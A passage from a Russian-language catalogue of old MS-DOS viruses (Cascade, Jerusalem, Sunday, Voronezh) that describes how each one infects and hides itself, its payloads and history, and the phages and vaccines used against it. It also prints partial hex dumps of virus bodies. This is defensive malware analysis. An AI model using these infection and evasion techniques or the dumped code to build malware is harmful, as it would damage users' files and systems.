ной математики имени М.В.Келдыша АН СССР. B Киеве появился в нача-
ле 1989  г. Одним из первых этот вирус исследовал Е.Ю.Портной, ко-
торый самостоятельно  разработал фаг  для этого вируса, работающий
как постпроцессор  протокола детектора  Ладыгина. Средства  защиты
появились примерно  одновременно с  вирусом, поэтому существенного
вреда вирус не нанес. 
  В Киеве  первым фагом  для данного  вируса была австрийская про-
грамма SERUM3,  которая может также работать и в режиме детектора.
Среди отечественных программ, использовавшихся на начальной стадии
борьбы с вирусом, следует отметить детектор Ладыгина (ИПМ АН СССР)
VIRUS_D1.
  Неформальные названия. Данный вирус имеет порядка десятка нефор-
мальных названий.  Среди них  отметим следующие:  Falling  Letters
(Падающие буквы),  LetterFall (Буквопад),   Rash  (Сыпучка), вирус
падающих букв,  1701, Letters  (буквы -- О.Котик),  "Слезы капали".
SCAN называет данный вирус "1701/1704 Virus -- Version B [170X]".
  Программные средства  защиты. Общие  средства защиты  достаточно
эффективны против  данного вируса. В частности, попытки записи ви-
руса в  запускаемый СОМ-файл детектируются всеми имеющимися фильт-
рами. Фильтр ANTI4US2 не срабатывает на попытку вируса стать рези-
дентным, поскольку  вирус предварительно  перехватывает прерывание
21. При  использовании системы  управления доступом  к  винчестеру
(Disk Manager,  Advanced Disk Manager и т.д.) вирус не в состоянии
попасть в  разделы винчестера,  для которых установлен статус READ
ONLY. Однако  при этом становится невозможным вызов программ с за-
щищенной дискеты или раздела винчестера.
  Специальные средства  защиты от данного вируса принципиально мо-
гут включать  детектор, фаг  для резидентной  части, резидентный и
пакетный фаги для зараженных файлов, активную и пассивную вакцину.
Детектор может  быть создан  только на  основе поиска начальных 16
байтов вируса,  поскольку остальная  часть вируса шифруется и раз-
вертывается уже в процессе выполнения.
  В настоящее  время все  сопровождаемые полидетекторы  и полифаги
обрабатывают программы,  зараженные данным вирусом. Автор рекомен-
дует компактную и удобную программу AIDSTEST Д.Н.Лозинского.

                Фрагмент дампа программы MORE.COM,
                    зараженной вирусом RC-1701

000: E90E009090909090 9090909090909090  ................

    +------------------------ J-сигнатура
    |                  (программа раскодировки)
    |
010:|01FA8BECE800005B 81EB31012EF6872A  .......[..1....*
020: 0101740F8DB74D01 BC82063134312446  ..t...M....141$F
030: 4C75F8

             +--------------- закодированная часть
             |                тела вируса
             |
           3A575901DE 4243CC634242DEDE  Lu.:WY..BC.cBB..
040: A23236062FCF3672 24DF3EBC2CDF362E  .26./.6r$.>.,.6.
050: 3212361732290FB7 43289D1602020EE7  2.6.2)..C(......
060: 8233363632322E26 2222262602237126  .36622.&""&&.#q&
070: 6D3A36363332DF2B 3F13464676507A5D  m:6632.+?.FFvPz]
080: C86338529B9A46AE A2F9274D01A38022  .c8R..F...'M..."
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
  Пример карты  памяти зараженного  компьютера. В  приводимой ниже
карте памяти  резидентная часть  вируса занимает  последнюю строку
(1E1E) таблицы  резидентных программ.  Ее длина, указанная в графе
"bytes", не соответствует действительной. Перехватываемые прерыва-
ния также не указаны.

 Addr    Program   Parent   Sg   Bytes   Hooked Vectors
------  --------  --------  --  ------  ------------------
(1A66)  DOS       N/A        3    5504
(1B4E)  E1840     DOS        2    1280
(1BA0)  QUICK     DOS        2     512
(1BC2)  KBMNA     DOS        2     480  16
(1BE2)  DOSEDIT   DOS        2    2032
(1C62)  BDS1      DOS        2    7056  00  08  09  13  1A
(1E1E)  N/A       N/A        1      64

          5.1.2. Вирус RС-1704 (Cascade-B -- Буквопад-Б)

  Данный штамм  отличается от исходного исправленной ошибкой, свя-
занной с проверкой фирмы -- изготовителя BIOS. Других особенностей,
по-видимому, не  имеет. Детектируется  полидетектором SCAN.  Длина
штамма 1704 (6A8h) байтов.

                    5.2. Иерусалимская группа

  Иерусалимская группа  получила свое  название с связи с тем, что
один из  представителей этой  группы был обнаружен в конце 1987 г.
студентом Иерусалимского университета. Вирус существует в несколь-
ких разновидностях (штаммах), отличающихся по своим размерам, дей-
ствиям и типам заражаемых файлов. Из них наиболее распространенным
является версия, которая в пятницу, приходящуюся на 13 число, уда-
ляет все  запускаемые файлы.  Другими словами,  если в  этот  день
файл, содержащий  исполняемую программу, запускается на выполнение
на зараженной  машине, вирус удаляет его с диска и при попытке по-
вторного выполнения  этой программы MS DOS сообщит, что соответст-
вующий файл  не найден. Большинство представителей этой группы за-
ражают COM-файлы,  размещая свое  тело в начале, а не в конце, как
большинство других групп вирусов.

           5.2.1 Вирус RCE-1813 (Ierusalem -- Иерусалим,
                  Black Friday -- Черная пятница)

  Вирус RСЕ-1813  получил название  Black Friday -- Черная пятница,
поскольку, если  13 число месяца приходится на пятницу, то он уда-
ляет все  запускаемые файлы.  Впервые обнаружен в Израиле, поэтому
другим распространенным  названием вируса является Israeli Virus --
Израильский вирус.  Формально вирус  RСЕ-1813 является резидентным
файловым  вирусом,   поражающим  как   СОМ-,  так   и   ЕХЕ-файлы.

Работоспособен на  версиях, начиная  с 2.0, как на PC XT, так и на
PC AT.
  При выполнении  зараженной программы вирус вначале проверяет на-
личие своей  копии в памяти компьютера. Если она есть, то управле-
ние передается зараженной программе. Если ее нет, то вирус инстал-
лируется, выполняя  следующие действия: 1) запоминает в своем теле
значения байтов  памяти с  адресами 003FCh-003FEh; 2) размещает по
указанным адресам  программу копирования и передает ей управление;
3) программа копирования  перемещает тело  вируса в  самые младшие
адреса, выделенные  для основной  программы (при этом вирус в COM-
программе копируется  сам в  себя, а в EXE-программе стирает часть
кода основной  программы), и возвращает управление в копию вируса;
4) восстанавливает  старое содержимое  байтов  памяти  с  адресами
003FCh-003FEh; 5)  определяет имя  основной программы  и  функцией
EXEC (21-4Bh) запускает ее на выполнение (т.е. в памяти компьютера
в этот момент находятся 2 копии основной программы); 6) по оконча-
нии работы  программы вирус  освобождает лишнюю  память и остается
резидентным в  памяти (с помощью прерывания 21-31h). Использование
для постановки  в резидент  прерывания 21-31h  означает, что вирус
виден по карте памяти (см. ниже). Из нее видно, что после загрузки
в память  вирус перехватывает  прерывания 08 и 21. После того, как
вирус RСЕ-1813 стал резидентным, он пытается заразить каждый запу-
скаемый файл, за исключением файлов с именем COMMAND.COM.
  Файлы типа  СОМ поражаются  данным вирусом  однократно, при этом
дата их  создания не  меняется, а длина увеличивается на 1813 бай-
тов. В  инфицированной программе  тело вируса размещается в начале
файла, поскольку  при заражении  COM-файла вирус  выделяет область
памяти (с  помощью int  21h, ah=48h),  в которую  копирует сначала
свое тело,  а затем  зараженный файл. Полученный образ зараженного
файла записывается  на диск  с добавление 5-байтового поля (обычно
это поле содержит "MsDos", однако имеются штаммы с другим содержа-
нием), используемого вирусом в качестве признака зараженности COM-
файлов. Ограничений  на длину файлов нет, поэтому вирус уничтожает
COM-файлы, длина  которых после  заражения превысит  64K. Вирус не
заражает COMMAND.COM, определяя его по имени файла.
  ЕХЕ-файлы (включая  оверлейные)  поражаются  многократно,  порой
разрастаясь до  невероятных размеров,  достигающих предельно допу-
стимого для  данной машины размера (например, Norton Commander мо-
жет достичь  размера в  несколько сот  килобайт). Дата создания не
изменяется, а  длина при  каждом заражении увеличивается на 1808 --
1823 байта. Тело вируса размещается обычно в конце файла, однако в
случае, если  поражаемый EXE-файл имеет неверную длину в заголовке
(это имеет  место, например,  в ряде  программ, использующих часть
своего файла в качестве буфера на диске для хранения промежуточных
данных), то вирус размещается в середине. Такой эффект наблюдается
для FOXBASE, QC и ряда других больших программ, использующих часть
своего дискового файла в качестве буфера или неявного оверлея. При
изменении заголовка  файла вирус  записывает  в  поле  контрольной
суммы значение 1984h.
  Фаза проявления  наступает через некоторое время после того, как
вирус стал  резидентным (это время зависит от тактовой частоты ЭВМ
и для обычных РС/ХТ с тактовой частотой 4.77 Мгц составляет поряд-
ка 40  мин.) и  зависит от даты и дня недели. В "обычный" день, не
приходящийся на  пятницу, совпадающую с 13 числом, проявление дан-
ного вируса состоит в замедлении работы ЭВМ. При этом выдача любой
команды, например DIR, приводит к медленному "выползанию" строк на
экран. Этот  эффект основан на том, что вирус перехватывает преры-
вание от таймера (8h) и при каждом прерывании 8h выполняет цикл из
нескольких тысяч команд. Обычно через некоторое время после начала
стадии проявления  действия вируса  приводят к  зависанию MS DOS с
сообщением "Stack  overflow". Вторым  визуальным эффектом является
вырывание кусков изображения с появлением на экране черного окна в
левом нижнем углу экрана (вирус выполняет скроллинг части экрана).
Если текущий  день недели -- пятница, а текущее число -- 13, то ста-
дия проявления  меняется: в  такие дни вирус не заражает собой все
запускаемые файлы, а просто удаляет их с диска. Таким образом, при
попытке запустить программу на выполнение, MS DOS выдает сообщение
о том,  что файл не найден. В результате будут уничтожены все фай-
лы, которые пользователь пытается запускать, пытаясь выяснить, что
происходит с  компьютером. Поэтому  непреложным правилом поведения
пользователей должно  стать следующее:  при возникновении каких-то
аномалий необходимо перегрузиться с защищенной дискеты и уже после
этого пытаться анализировать, что произошло с компьютером. Как уже
отмечалось, из-за  ошибки в  тексте вируса при заражении как COM-,
так и  EXE-файлов, имеющих размер, дающий при увеличении на 1808 --
1821 байтов  величину, превосходящую  64К, 128К и т.д., заражаемая
программа необратимо портится, перезаписываясь в начале.
  Исторические замечания. Вирус RСE-1813 появился  в Израиле в на-
чале 1988 г.  В СССР обнаружен в ноябре 1988 г. в одном из москов-
ских кооперативов.  Первый детектор был, по-видимому, разработан в
Институте программных  систем (Переславль-Залесский),  однако  эта
программа до  Киева не  дошла. По  результатам анкеты, проведенной
автором на  апрельском семинаре, этот вирус был обнаружен в 10 ор-
ганизациях из  50 участников семинара, принявших участие в анкети-
ровании. Поскольку  создание средств защиты несколько запоздало (в
Киеве эпидемия началась приблизительно в апреле, а средства защиты
появились примерно  в июне), вирус распространился довольно широко
и нанес определенный ущерб: десятки, если не сотни тысяч часов бы-
ли потеряны на восстановление и перезапись зараженных программ.
  Первыми использовавшимися  в киевской  практике детекторами  для
этого вируса были DOCTOR А.А.Чижова и ANTIDOS киевской разработки.
Первые фаги,  использовавшиеся в  Киеве для борьбы с этим вирусом,
были разработаны  А.А.Чижовым (DOCTOR1)  и Л.И.Обуховым (FAG1813 --
август  1989   г.).  Программа   FAG1813,  распространявшаяся  как
SHAREWARE по  цене 1 рубль за копию (см.СП 1-1), работала устойчи-
во, однако  не могла рекурсивно обрабатывать подкаталоги (впрочем,
программа очень  мала (1808  байтов)). Для  рекурсивной  обработки
подкаталогов использовалась  с RUNTREE.  Кроме того,  Л.И.Обуховым
была разработана резидентная вакцина VAC1813R, а позднее VAC1813Q.
Вакцина содержит  обработчик неиспользуемого  в MS  DOS прерывания
Е0, используемого  вирусом для определения, имеется ли в оператив-
ной памяти  копия вируса  или нет. Если этот обработчик возвращает
значение 3,  то вирус  считает, что  он уже является резидентным и
загрузку собственной копии в список резидентных программ не выпол-
няет. Данная вакцина является первым отечественным продуктом тако-
го типа  и позволяет,  в частности,  работать на зараженной машине
без дезактивации  всех зараженных  файлов. Версия  VAC1813Q выдает
предупреждающее сообщение всякий раз, когда делается попытка запу-
стить зараженную  программу. Таким  образом, она является одновре-
менно резидентным  детектором для  данного  типа  вируса.  Позднее
В.В.Пономаренко была разработана поливакцина NEATVAC (СП 2-7).
  Зарубежные программы  появились в СССР несколько позднее. Первой
из них  была программа FAG_SU, разработанная Joe Ratcatcher & Anre
Molnar.
  Неформальные названия.  Данный вирус имеет  более десятка нефор-
мальных названий.  Среди них:  Hebrew University, PLO (ООП), Black
Hole (Черная  дыра), Вирус замедления, Time (Время -- О.Котик). По-
лидетектор SCAN  называет данный  вирус "Jerusalem Virus Version B
[Jeru]".
  Методы и  программные средства защиты. В настоящее время все по-
лифаги и  полидетекторы распознают  этот вид  вируса. Однако почти
все из  указанных программ не обрабатывают случай, когда вирус на-
ходится в  середине файла. Поэтому результаты их работы необходимо
контролировать с помощью контекстного поиска по всему диску. В по-
следних версиях полифага DOCTOR введен новый ключ, задающий расши-
ренную обработку  файлов. В этом случае проводится полный просмотр
файлов. Поскольку  для каждого зараженного СОМ-файла вирус в конце
дописывает признак  зараженности, который состоит из 5 байтов, со-
держащих слово  MsDos, можно  реализовать пассивное вакцинирование
СОМ-файлов от  этого типа вирусов. Для этой цели применима, напри-
мер, команда  COPY, если заготовить слово MsDos в отдельном файле,
а затем конкатенировать COM-файлы с этим файлом.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1813

        +----------------  команда обхода области данных
        |  (дрозофила перемещена в конец файла - см. ниже)
     +-----+
0000:|E9920073554D7344 6F7300018F250000  ...sUMsDos...%..
0010: 001000D800AD0F5C 06FD1856059D1007  .......\...V....
0020: 7E00000000000000 0000000000000000  ~...............
0030: 000E258000000080 000E255C000E256C  ..%.......%\..%l
0040: 000E250004FABA29 0053A1000000004D  ..%....).S.....M
0050: 5A8000C300730160 00EA0AFFFF771710  Z....s.`.....w..
0060: 078419C50077171E 0000009090909090  .....w..........
0070: 0500200021001B01 00021000707D0100  .. .!.......p}..
0080: B9412A9B434F4D4D 414E442E434F4D01  .A*.COMMAND.COM.
0090: 0000000000
               +--------- J-сигнатура
               |
0095           |FCB4E0 CD2180FCE0731680  .........!...s..
00A0: FC037211B4DDBF00 01BE100703F72E8B  ..r.............
00B0: 8D1100CD218CC805 10008ED0BC000750  ....!..........P
00C0: B8C50050CBFC062E 8C0631002E8C0639  ...P......1....9
00D0: 002E8C063D002E8C 0641008CC0051000  ....=....A......
00E0: 2E010649002E0106 4500B4E0CD2180FC  ...I....E....!..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
05E0: 1B00B82425CD2107 1F5F5E5A595B589D  ...$%.!.._^ZY[X.
05F0: 2EFF2E1700000000 0000000000000000  ................
0600: 4D9D100010383133 522E434F4D000122  M....813R.COM.."
0610: E9920073554D7344 6F7300018F250000  ...sUMsDos...%..
0620: 001000D800AD0F5C 06FD1856059D1007  .......\...V....
0630: 7E00000000000000 0000000000000000  ~...............
0640: 000E258000000080 000E255C000E256C  ..%.......%\..%l
0650: 000E250004FABA29 0053A1000000004D  ..%....).S.....M
0660: 5A8000C300730160 00EA0AFFFF771710  Z....s.`.....w..
0670: 078419C50077171E 0000009090909090  .....w..........
0680: 0500200021001B01 00021000707D0100  .. .!.......p}..
0690: B9412A9B434F4D4D 414E442E434F4D01  .A*.COMMAND.COM.
06A0: 0000000000FCB4E0 CD2180FCE0731680  .........!...s..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
     +------------------------ тело дрозофилы
     |
0710:|9090909090909090 9090909090909090  ................
0720:|4D73446F73                         MsDos
     +----------+
          +---------------- признак зараженности COM-файла

  Пример карты  памяти зараженного  компьютера. В  приводимой ниже
карте памяти  резидентная часть  вируса занимает  последнюю строку
(1CD0) таблицы  резидентных программ.  Перехватываемые  прерывания
соответствуют действительности.

 Addr    Program   Parent   Sg   Bytes   Hooked Vectors
------  --------  --------  --  ------  -----------------
(19A6)  DOS       N/A        2    3536
(1A8E)  E1840     DOS        2    1280
(1AE0)  RELEASE   DOS        2    3552  27
(1BC0)  GRAPHICS  DOS        2    1088  05
(1C06)  QUICK     DOS        2     544  09
(1C2A)  KBMNA     DOS        2     512  16
(1C4C)  DOSEDIT   DOS        2    2064
(1CD0)  N/A       DOS        1    1824  08  21

           5.2.2. Вирус RCE-1636 (Sunday -- Воскресенье)

  Данный штамм  получил название Sunday -- воскресенье, поскольку в
этот день  недели вирус  удаляет все  запускаемые файлы. Формально
вирус RСЕ-1636  является резидентным  файловым вирусом, поражающим
как СОМ-файлы,  так и ЕХЕ-файлы. Вирус не проверяет версию MS DOS,
на которой функционирует. Работоспособен на версиях, начиная с 2.0
как на PC XT, так и на PC AT.
  При выполнении  зараженной программы вирус вначале проверяет на-
личие своей  копии в  памяти компьютера,  аналогично тому, как это
делает вирус  RCE-1813. Затем вирус инсталлируется и перехватывает
прерывания 21  и 8. Механизм размножения вируса стандартен -- пере-
хват прерывания 21-4B и заражение каждой подходящей запускаемой на
выполнение программы,  за исключением  файла с именем COMMAND.COM.
Ограничений на длину файлов нет, поэтому вирус уничтожает COM-фай-
лы, длина  которых после заражения превысит 64K. Вирус не заражает
файлы с именем COMMAND.COM.
  Файлы типа  СОМ поражаются  данным вирусом  однократно, при этом
дата их  создания не  меняется, а длина увеличивается на 1636 бай-
тов. В  инфицированной программе  тело вируса размещается в начале
файла. Со  смещением 184h  от начала зараженного файла расположена
текстовая строка  COMMAND.COM, а со смещением 351h -- текст сообще-
ния, выдаваемого вирусом на экран:

  Today is SunDay! Why do you work so hard?
  All work and no play make you a dull boy!
  Come on ! Let's go out and have some fun!$
  (Сегодня воскресенье! Зачем работать так напряженно ?
  Постоянная работа без игр делает Вас занудой !
  Пошли ! Давай выйдем из дому и развлечемся !)

  В конец  зараженного СОМ-файла  записывается  пятибайтовое  поле
(обычно это поле содержит C8h, F7h, E1h, EEh, E7h, однако возможны
штаммы с  другим содержанием). Указанное поле используется вирусом
в качестве признака зараженности COM-файлов.
  EXE-файлы заражаются  однократно. Контроль  зараженности по тому
же пятибайтовому  полю. При  заражении EXE-файлов вирус дописывает
свое тело  в конец программы и исправляет заголовок EXE-файла, за-
поминая некоторые  поля. Как  и RCE-1813, вирус записывает, вместо
контрольной суммы,  число "1984".  При этом  оригинальное значение
контрольной суммы теряется. В конец зараженного файла дописываются
упомянутые выше 5 байт.
  Как уже  указывалось, данный  вирус имеет стадию проявления, на-
ступающую в  воскресенье. В  этот день вирус не заражает собой все
запускаемые файлы, а, как и RCE-1813, удаляет их с диска. Перехва-
тывая прерывание от таймера (INT 8), вирус отсчитывает один час от
начала режима  удаления запускаемых  файлов и  выводит приведенное
выше сообщение.  Вирус имеет несколько штаммов, в одном из которых
в этом месте допущена ошибка и данная ветвь кода никогда не выпол-
няется. Аналогично вирусу RCE-1813, возможна запись вируса в сере-
дину "расширенных" EXE-файлов.
  Исторические замечания.  Вирус RСE-1636  появился в конце 1988 --
начале 1989 г. в США. В СССР обнаружен к марте 1990 в Ленинграде и
Киеве, а чуть позднее в Москве. Первым отечественным полифагом для
данного вируса был, по-видимому, AIDSTEST (версии, начиная с апре-
ля 1990), обнаруживают и уничтожают этот штамм. Анализ кода позво-
ляет предположить, что автор использовал в качестве основы для его
написания вирус RCE-1813.
  Неформальные названия.  Полидетектор SCAN  называет данный штамм
"Sunday Virus [Sunday]".
  Методы и программные средства защиты. См. прил.1.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1636

000: E992000131C8F7E1 EEE70001F51E0000  ....1...........
010: 002200AA00DF0F60 02FD125605C61090  .".....`...V....
020: 7E00000000000000 0000000000004506  ~.............E.
030: 10E02B8000000080 00E02B5C00E02B6C  ..+.......+\..+l
040: 00E01B80006C3E12 00D33900F006004D  .....l>...9....M
050: 5AC4017500000020 003906FFFF160E5D  Z..u... .9.....]
060: 068419C400160E1E 000000909090CD20  ...............
070: 050020008814A579 0002100060E30000  .. ....y....`...
080: B9412A9B434F4D4D 414E442E434F4D01  .A*.COMMAND.COM.
090: 0000000000

              +------  начало инсталлятора
              |
              |FCB4FF CD2180FCFF731580  .........!...s..
0A0: FC047210B4DDBF00 01BE5F0603F72E8B  ..r......._.....
0B0: 4D11CD218CC80510 008ED0BC5D0650B8  M..!........].P.
0C0: C40050CBFC062E8C 0631002E8C063900  ..P......1....9.
0D0: 2E8C063D002E8C06 41008CC00510002E  ...=....A.......
0E0: 010649002E010645 00B4FFCD2180FC04  ..I....E....!...
0F0: 7510072E8E164500 2E8B2643002EFF2E  u.....E...&C....
100: 470033C08EC0BBFC 03268B072EA34B00  G.3......&....K.
...  .. .. .. .. .. .. .. .. .. .. .. ...  .. .. .. .. ..
240: 1F00907E5E5B582E FF0E1F002EFF2E13  ...~^[X.........
250: 00546F6461792069 732053756E446179  .Today is SunDay
260: 212057687920646F 20796F7520776F72  ! Why do you wor
270: 6B20736F20686172 643F0A0D416C6C20  k so hard?..All
280: 20776F726B20616E 64206E6F20706C61   work and no pla
290: 79206D616B652079 6F7520612064756C  y make you a dul
2A0: 6C20626F79210A0D 436F6D65206F6E20  l boy!..Come on
2B0: 21204C6574277320 676F206F75742061  ! Let's go out a
2C0: 6E64206861766520 736F6D652066756E  nd have some fun
2D0: 21249C80FCFF7505 B800049DCF80FCDD  !$....u.........
2E0: 740E3D004B7503EB 35909D2EFF2E1700  t.=.Ku..5.......
2F0: 5858B800012EA30A 00582EA30C00F3A4  XX.......X......
...  .. .. .. .. .. .. .. .. .. .. .. ...  .. .. .. .. ..
5D0: 1FC51680002E8B0E 7200B80143CD218D  ........r...C.!.
5E0: 161B00B82425CD21 071F5F5E5A595B58  ....$%.!.._^ZY[X
5F0: 9D2EFF2E1700FC03 0000000000000000  ................
600: 0000000000000000 0000000000000000  ................
610: 0000000000000000 0000000000000000  ................
620: 0000000000000000 00002C0825460008  ..........,.%F..
630: 250825C60716026C 1540003CFC04000D  %.%....l.@.<....
640: C97E9300010702D4 00F51E55C8556CFE  .~.........U.Ul.
650: B98B00803EEB54A2 4C80003E00435690  ....>.T.L..>.CV.
660: 9090909090909090 9090909090909090  ................
670: 9090909090909090 90909090909090CD  ................
680: 20C8F7E1EEE7                       ......
          +--------+
           +----------- признак зараженности файла

                   5.2.3. Воронежская подгруппа

  Воронежская подгруппа включает в настоящее время три вируса: RC-
529, RC-600  и RCE-1600, по-видимому, принадлежащие одному (отече-
ственному !) автору.

                      5.2.3.1. Вирус RC-529
                (Peterburg -- Петербург, Пакость-1)
  Формально данный  вирус можно  отнести  к  резидентным  файловым
вирусам, заражающим  файлы с  расширением COM. Не проверяет версию
операционной системы,  но использует  имя программы, которое зано-
сится   в Environment  версии MS  DOS не  ниже  3.0.  При  запуске
зараженной программы инсталлируется, перехватывая прерывание 21.
  Заражает только  COM-файлы при  их  выполнении.  Определяет  тип
программы по  расширению имени,  из-за чего EXE-программы, имеющие
расширение  COM,   после   заражения   теряют   работоспособность.
Работоспособность   таких    программ   восстанавливается    после
применения соответствующего  фага. Подобно остальным вирусам иеру-
салимской группы,  при заражении COM-файлов записывается в начало,
переписывая старое  начало в конец файла. Уровень программирования
выдает начинающего:  основная часть логики некритично заимствована
из вируса RСE-1813.
  Исторические сведения.  Впервые обнаружен  в  Ленинграде  весной
1989 г. Автору был передан Д.Н.Лозинским. Первым фагом для данного
вируса был, по-видимому, AIDSTEST.
  Неформальные названия. Помимо приведенных выше неизвестны. Поли-
детектором SCAN не детектируется.
  Методы и программные средства защиты. См. прил.1.

   Фрагмент дампа программы DUMY1744,зараженной вирусом RC-529

000: B815CA8B361B01BF 00018B0E1D018B1E  ....6...........
010: 1901CD21FF361F01 C30101D007110247  ...!.6.........G
020: 017900C0010400C4 014D001102EA00FB  .y.......M......
030: 020100FC02010000 0080000E255C000E  ............%\..
040: 256C000E25CA01A1 1D0105140190A305  %l..%...........
050: 0303061D01050001 A30D038BE0050F00  ................
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
1B0: 15B8004233D28BCA CD21720AFEC68B0E  ...B3....!r.....
1C0: 1D01B440CD21B801 578B0E07038B1609  ...@.!..W.......
1D0: 03CD21B43ECD21B8 01438B0E0B038E5E  ..!.>.!..C.....^
1E0: 028B5600CD212EC5 160103B82425CD21  ..V..!......$%.!
1F0: 8BE55A1F5B5807C3 B003CFC3C35C06FD  ..Z.[X.......\..
200: 1856059D10250336 0021002000360664  .V...%.6.!. .6.d
210: 0090909090909090 9090909090909090  ................
220: 9090909090909090 9090909090909090  ................
***  следующие строки идентичны предыдущей ***
8E0: 90                                 .

                5.2.3.2. Вирус RC-600 (Пакость-2)
  Данный штамм аналогичен штамму RC-529 и заражает только COM-фай-
лы. Формально  вирус RС-600 является резидентным файловым вирусом,
поражающим СОМ-файлы. Вирус не проверяет версию MS DOS, на которой
функционирует. По-видимому,  работоспособен на  версиях, начиная с
2.0.
  При  запуске   зараженной   программы   вирус   сразу   пытается
инсталлироваться в оперативной памяти. Для определения, имеется ли
уже в  памяти резидентный вирус, используется стандартный для дан-
ной группы  вирусов механизм:  вирус выдает  неиспользуемое MS DOS
прерывание 21-AB,  а затем  проверяет содержимое  регистра AX. Это
делает возможным  создание резидентной  вакцины   и такая  вакцина

имеется (NEATVAC).  Файлы заражаются при загрузке в память для вы-
полнения (прерывание 21-4Bh).
  Заражаются файлы  типа СОМ,  даже если они имеют расширение ЕХЕ.
Дата и  время создания  зараженного файла  не изменяются,  а длина
увеличивается на  600 байтов.  Минимальная длина заражаемых файлов
составляет  600  байтов  (258h),  а  максимальная  60  000  байтов
(EA60h). Не заражаются файлы, содержащие в первых двух байтах зна-
чение, превышающее EF60h, а также файлы с атрибутом READ ONLY. Ви-
рус не заражает COMMAND.COM. Файлы заражаются однократно, при этом
дата их создания не меняется, а длина увеличивается на 600 байтов.
В инфицированной программе тело вируса размещается в начале файла.
Перехватывает прерывание 21h.
  Вирус шифрует  часть своего  тела (50 байтов, начиная с 16 байта
от начала). Первые 600 байт заражаемой программы (участок, перено-
симый в конец файла) с также шифруются с помощью операции XOR 0BBh
и переносятся  в конец  файла. На  их место помещается тело вируса
(тоже частично  закодированное -- 50  байтов, начиная с 17-го -- XOR
0DDh).
  Фаза проявления  у данного вируса отсутствует. При попытке запу-
ска программы  из оболочек  типа NC  на  зараженной  машине,  если
COMMAND.COM находится  на защищенном  от записи  диске, происходит
"выпадение" в  DOS. При попытке заражения файлов, расположенных на
защищенной от  записи дискете, иногда (не всегда) появляется стан-
дартное сообщение  "Abort, Retry...". Это связано с ошибкой в под-
программе обработки прерывания 24h.
  Исторические замечания.  По-видимому, вирус  имеет отечественное
происхождение, поскольку в теле вируса имеется зашифрованная стро-
ка "Oleynikoz  S., 1990".  Вирус RСE-600  появился в СССР в начале
1990 г.  Обнаружен А.Сессой  в Днепропетровске  в середине  апреля
1990г. Значительного  распространения вирус не получил. Из полифа-
гов, распространяемых  бесплатно,  первым  был,  по  видимому,  -V
Е.Касперского (СП 2-7).
  Неформальные   названия.   Помимо   приведенного   выше   иногда
используется название 600 и Oleynikoz.
  Программные средства  защиты. Для борьбы с вирусом годятся имею-
щиеся контекстные  детекторы и  резидентные программы.  В качестве
фага рекомендуется использовать -V Е.Касперского или Aidstest.

       Фрагмент дампа дрозофилы, зараженной вирусом RC-600
     (обратите внимание, что байты 90h перекодированы в BBh)

000: BE1001B932008A24 80F4DD882446E2F6  ....2..$....$F..
010: 697610FCE08888A8 DE3453DD5115F0DC  iv.......4S.Q...
020: DD530566DEDDE356 DAF05DDDE354DAD3  .S.f...V..]..T..
030: C266DFDD56DAF05D DD54DA531D62DDDD  .f..V..].T.S.b..
040: 63DD00B90008F3A4 8BD0EB2E90FB80FC  c...............
050: AB7504B85555CF50 FEC43D004C587515  .u..UU.P..=.LXu.
060: 9C50535152565706 1EE99E001F075F5E  .PSQRVW......._^
070: 5A595B589DEA1C02 BC128EDAB82135CD  ZY[X.........!5.
080: 213E891E76013E8C 0678013E891E4202  !>..v.>..x.>..B.
090: 3E8C0644021E8CC0 8ED88BD31F8D164D  >..D...........M
0A0: 01B82125CD210E1F 1E07BED401B90001  ..!%.!..........
0B0: BBEC018B3F83FF00 7502CD2057BBEE01  ....?...u.. W...
0C0: 8B0701C781C70001 FC57F3A45F588B0E  .........W.._X..
0D0: EE0157C30500018B F0BF0001FC8A0434  ..W............4
0E0: BB88054647E2F6B8 000150C360025802  ...FG.....P.`.X.
0F0: 5605E00F55767F63 7473717560004934  V...Uv.ctsqu`.I4
100: 362B23232A000000 00CF8BDA1E52060E  6+##*........R..
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
240: 0300E927FEB8003E CD218B1EF0018E06  ...'...>.!......
250: F201B82425CD21C3 3820818089928E82  ...$%.!.8 ......
260: 0290BB05AEBA9531 AF0FB9769AFD594D  .......1...v..YM
270: 01BBBB769BB1B626 2935299B2F3B3230  ...v...&)5)./;20
280: 9B2A353F3E2B3D33 299B39332B282A9B  .*5?>+=3).93+(*.
290: ED8D8B8B9B9B9B93 E9F89B8D8B8B929A  ................
2A0: BBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBB  ................
***  последующие строки идентичны предыдущей ***
4A0: 3F3033363B9B2C33 2A293538359B2F3B  ?036;.,3*)585./;
4B0: 32303B9B969B8D8B                   20;.....

                      5.2.3.3. Вирус RC-1600
            (Voronezh 2.01 -- Воронеж 2.01, Пакость-3)
  Последний и  наиболее сложный  из рассматриваемой подгруппы. Не-
формальное название связано с наличием в теле вируса соответствую-
щей текстовой  строки. Формально  представляет  собой  резидентный
файловый вирус,  заражающий COM-  и EXE-файлы. С сожалением прихо-
дится констатировать,  что в  данном вирусе  реализована идея, не-
осторожно высказанная  Д.Н.Лозинским  в  документации  к  полифагу
AIDSTEST (AIDSREAD.ME):  с целью  затруднить обнаружение  обычными
фагами,  вирус   не  меняет   точку  входа  в  EXE-файле,  изменяя
Relocation table.
  При заражении  EXE-файлов тело вируса дописывается в конец зара-
жаемой программы.  Файлы заражаются не только при запуске программ
на исполнение, но и при открытии файлов.
  Уровень  программирования  создает  противоречивое  впечатление.
Имеется ряд  признаков, позволяющих говорить о близости "почерка",
которым написаны данный вирус и вирус RC-600.
  Исторические замечания.  Обнаружен в  Воронеже   в июне  1990 г.
А.Н.Мартемьяновым. Автору  передан  Д.Н.Лозинским.  Из  полифагов,
распространяющихся бесплатно,  первым его включил Е.Сусликов в по-
лифаг К32. Значительного распространения вирус не получил.
  Неформальные   названия.    Помимо   приведенных   выше   иногда
используется название 1600.
  Программные средства  защиты. Для борьбы с вирусом годятся имею-
щиеся контекстные  детекторы и  резидентные программы.  В качестве
фага можно рекомендовать упомянутый выше полифаг К32.

                      Фрагмент дампа вируса

